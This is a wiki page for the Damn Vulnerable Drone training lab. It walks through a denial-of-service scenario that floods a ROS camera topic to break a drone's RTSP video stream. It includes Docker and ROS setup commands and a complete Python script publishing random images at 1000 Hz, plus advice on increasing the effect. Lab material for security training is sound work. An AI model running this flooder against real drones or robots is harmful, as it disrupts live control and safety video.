Camera Feed ROS Topic Flooding - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki

Flooding the ROS topic to disrupt a the drone's RTSP stream.

Damn Vulnerable Drone > Attack Scenarios > Denial of Service > ROS Topic Flood Attack

Description

This attack involves flooding a ROS topic with large amounts of data to overwhelm the system's resources, leading to disruption of services such as an RTSP stream. In this scenario, we target the /webcam/image_raw topic to disrupt the video stream being handled over ROS.

Resources

⚠️ Solution Guide

Step 1. Set Up the ROS Docker Container

sudo docker pull ros:noetic-ros-base

Then run the container and assign it to the simulator network:

docker run -it --network=simulator --ip=10.13.0.10 --name ros_noetic_container ros:noetic-ros-base bash

Step 2. Configure ROS Environment

Inside the container, export the ROS environment variables:

export ROS_MASTER_URI=http://10.13.0.5:11311
export ROS_IP=10.13.0.10
source /opt/ros/noetic/setup.bash

Step 3. Install Python and Required Packages

apt-get update
apt-get install python3 python3-pip nano

Step 4. Create the ROS Flood Script

Save the following Python3 script as ros-topic-flood.py:

#!/usr/bin/env python3

import rospy
from sensor_msgs.msg import Image
import numpy as np

def flood_topic():
    rospy.init_node('image_flooder', anonymous=True)
    pub = rospy.Publisher('/webcam/image_raw', Image, queue_size=10)
    rate = rospy.Rate(1000)  # 1000 Hz flooding

    while not rospy.is_shutdown():
        img = Image()
        img.height = 480
        img.width = 640
        img.encoding = "rgb8"
        img.is_bigendian = 0
        img.step = img.width * 3
        img.data = np.random.bytes(img.step * img.height)
        pub.publish(img)
        rate.sleep()

if __name__ == '__main__':
    try:
        flood_topic()
    except rospy.ROSInterruptException:
        pass

Step 5. Execute the Flood Script

python3 ros-topic-flood.py

This script floods /webcam/image_raw at 1000 Hz, disrupting the RTSP stream and consuming system resources.

Step 6. Monitor the Attack

Check the ROS master logs and attempt to view the RTSP stream to verify disruption. You may adjust rate = rospy.Rate(x) or payload size to increase effect.

Step 7. Stop the Attack

To stop the flooding:

Ctrl+C

in the terminal running the flood script.

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